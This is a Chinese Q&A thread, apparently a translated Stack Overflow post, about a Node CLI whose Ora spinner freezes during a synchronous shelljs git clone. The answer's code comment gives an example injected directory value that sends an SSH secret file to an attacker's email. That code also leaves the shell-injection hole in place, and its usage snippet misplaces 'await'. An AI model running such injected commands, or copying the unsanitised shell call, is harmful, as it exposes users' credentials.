2

不知道该问题的标题是什么,但我会尽力在问题的其余部分中传达。

我正在开发一个 CLI,它首先提示用户几个问题,然后根据答案克隆一个存储库。

例子:

Frontend Framework:
[x] Vue
[ ] React

⠋ Cloning Vue repository...

我正在使用Ora来显示微调器。

问题是微调器在启动之前就冻结了。我正在使用的其他包是 Inquirer、Shelljs、Chalk 和 Commander.js for CLI。

CLI
    .command("Frontend")
    .alias("F")
    .description("Frontend Framework")
    .action(() => {
        inquirer.prompt(Questions).then((Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })
    })

问题数组

const Questions = [
    {
        type: "list",
        name: "Framework",
        message: "Which frontend framework would you like to use?",
        default: "Vue",
        choices: [
            'Vue',
            'React',
        ]
    },
]

克隆功能:

const cloneRepo = (Dir, Repo) => {
    if (shell.exec(`cd ${Dir} && git clone ${Repo} -q .`).code !== 0) {
        shell.echo('Error: Git clone failed')
        shell.exit(1)
    }
}

我试过Spinnies,但问题是一样的,它冻结了,一旦过程完成,它就会显示成功消息。我尝试了几种可能性,但不知道如何使用 Async 解决。

其他包: - Inquirer.js - Commander.js - Shelljs

任何帮助将不胜感激。

4

1 回答 1

0

发生这种情况是因为您的 cloneRepo 是同步的——也就是说,它永远不会让执行转移到事件循环。这是一个足够常见的混淆来源,它记录在 Ora 项目的 README 中。

您将需要重写您的cloneRepo函数以 (a) 返回一个 Promise,以及 (b) 异步调用 shell 命令。类似的东西(未经测试,基于Shelljs 文档):

const cloneRepo = (Dir, Repo) => 
    new Promise((fulfill, reject) => {
        // FIXME You should *really* be protecting against injection attacks in here.
        // If somebody caused Dir to be something like
        // ". ; cat ~/.ssh/secret_file | email_prog -s 'Your Secrets' evildoer@gmail(dot)com ; cd repodir"
        // you'd be in for a bad day.
        shell.exec(`cd ${Dir} && git clone ${Repo} -q .`, (code, stdout, stderr) => {
            if (code !== 0) {
                reject(new Error('Git clone failed'))
                return
            }
            fulfill({ code, stdout, stderr })
        })
    }).catch(err => {
        // IMO, this kind of error handling should really be allowed to "bubble up",
        // but this more closely replicates your existing implementation...
        shell.echo(`Error: ${err.message}`)
        shell.exit(1)
    })

(顺便说一下,这是关于注入的 Shelljs 指南的链接。)

然后在你的主要你会做类似的事情

        inquirer.prompt(Questions).then(await (Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                await cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                await cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })
于 2021-04-23T18:18:01.343 回答